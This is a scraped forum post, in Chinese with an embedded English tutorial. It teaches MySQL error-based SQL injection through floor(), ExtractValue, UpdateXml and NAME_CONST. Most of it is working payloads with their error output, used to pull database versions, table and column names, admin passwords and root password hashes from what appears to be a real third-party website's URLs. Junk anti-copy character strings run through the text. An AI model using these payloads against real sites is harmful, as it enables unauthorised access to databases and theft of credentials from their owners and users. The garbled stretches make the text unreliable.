mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
; Y% L4 Y. |# x首先进行正常查询：

mysql> select * from article where id = 1;
. ?; \& n( B$ _6 M0 F+—-+——-+———+
| id | title | content |
+—-+——-+———+
. v8 v# X' p0 z8 B: c* |4 z|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

! p. F# C* K2 g1 m8 J6 D* J4 O
+ x% ?& |- N2 Y* {, |7 ^

再收集：

7 J9 L, q9 W$ t4 C9 }http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
- d: j0 A! s- p
3 I  k9 n! W0 H% UErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
. r* }: ?" y% p- ~& Q4 R
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

( d: F1 m5 i6 K% S, h* |Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

) ?( N# j* B: l4 [9 K9 @- NMYSQL高版本报错注入技巧-利用NAME_CONST注入
2 Y0 R5 W6 l3 C2 D! Y4 ^* ^It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
3 U2 r! R: f2 j3 t; p9 M: n
; y2 [8 h/ f0 _, [* O- t3 }8 T6 ]
; x4 }# O4 l, n# u相关信息
1 v: R/ Q* E7 R
. d( H' s) z, K; ]2 `NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

- X. E8 i+ s4 L7 x- ~; pSELECT NAME_CONST('TEST', 1)
# d/ P$ A( q. B: u. @  b1 T
8 i0 _- C8 h- k2 A6 ~
9 k; A6 T8 I6 R/ h. U7 \7 m* p( B
|---------------|
9 C9 L* b% a0 h. P+ Q|     TEST      |
|               |
( Y1 K1 y6 R& j' w+ U" t% o) O|---------------|
|       1       |
  R" O7 _* E8 w$ v/ t  L: l|               |
|---------------|
9 Y# z, J. k+ E; `3 Y
! x0 v  j) K" \  W- K! `/ w

% D; B' M0 Y( a* E* T! J& z
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
$ p4 ], R% a4 B$ H9 I& xIntro to MySQL Variables

* Q0 T4 W9 T+ \# H  KOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
- z9 E& V" }& s
Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
  G6 l8 g4 a: g; f


6 g. W) g- n3 z& p

5 w7 S7 B2 i0 k1 {1 r* e5 pCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
3 O. p) b% r, D7 R# s" B
, `" c: ?) o4 K' F( U$ H, o
" h% ^/ Z) B% D9 B% jVAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

Let's try it out on my site..
& z4 }7 W: \/ S7 l: p; O- j$ L4 M% G
! ^( }( x2 k5 g/ L* U) ?  T" q4 UCode:
: E: E# p4 d. Ehttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

# b( J& W- w: Q; L* n, k2 OErroruplicate column name '5.0.27-community-nt'





! e" P) ^  k* W; GNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
& b. t. D3 `- F+ f
6 x$ ^7 t6 a* I  ]( X6 U! }: l9 [8 oData Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
/ ]. G" `, r; i/ D( N" z1 [5 D. N" {

3 E: ?1 d  Y6 D% F; q1 \7 a) z  tWe should get a duplicate column 1 error...

! O" |1 F% ~* h# e( aCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
" A6 J0 a8 @' h
Erroruplicate column name '1
# K2 f7 A, b2 z6 s3 n
/ Y* ?7 M' c$ ]& ~7 [0 b
6 x- @- \1 r; Q/ x' C


2 Y8 Q+ Q0 W; n0 f4 ^- F. m+ U: [
2 s( _* J3 A% I  j1 cNow let's get the tables out this bitch..

2 a& v8 H: k" D% I9 g5 h* r( X' eCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

' R+ ]# k9 u5 ~8 P! G* d: t, }9 i
0 U5 D; H/ q' z9 n0 s0 P  f8 wLet's see if it works here, if it does, we can go on and finish the job.
: g7 s6 m/ a/ o* j! a2 P  l
+ B4 d" M' Z8 p8 a. @. O4 Z3 p6 M: rCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
% b3 R6 C) Y; q1 \
! W' }. \; O$ c/ `; ?5 u
0 w6 N* a  l  }3 w( jErroruplicate column name 'com_admanage

; M* c8 m9 }" d

! R- V5 X" T4 u5 c/ Q1 p( B7 E


% A' A+ k" }2 @8 ZNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
) B  M2 M5 U% ?9 D) V1 r! B3 d
Let's get the columns out of the user table..
* _" M- R, a: ^/ B1 h
' p: b& |: T2 {$ R7 e% N1 r- S8 XCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

7 [* S' E  M2 B) q% A' r& j
So mine looks like this, and I get the duplicate column name 'Host'.

Code:
4 m+ B  @( v$ i9 x* k. s  Xhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
. f+ A& M( r" c! ?2 u0 f
! j2 b& ^8 f& h1 B6 @2 H8 v, n
/ M1 ?! o9 n' y8 I- l1 i4 g

" l5 `1 M6 B# M- ~8 k3 L7 n
2 C7 S; F+ K; O1 {( T5 e3 X( a. R
Woot, time to finish this bitch off.

; ]* @, C  u) r. T! ]Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

: r# D, c2 L# M
So mine looks like this...
3 z% j" p1 d9 r! x3 V2 A$ I2 l
  z2 u- P0 G* R+ ?9 kCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
+ W# C2 S! ^, v$ M
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
. H# a6 ~5 F+ e" g
, y$ c2 T! f; w8 A" C  u




And there we have it, thanks for reading.
/ R2 u+ C6 v7 o; B3 J$ R& P- y2 R
+ A4 w$ A" ?% s, n5 r$ m: I, z. k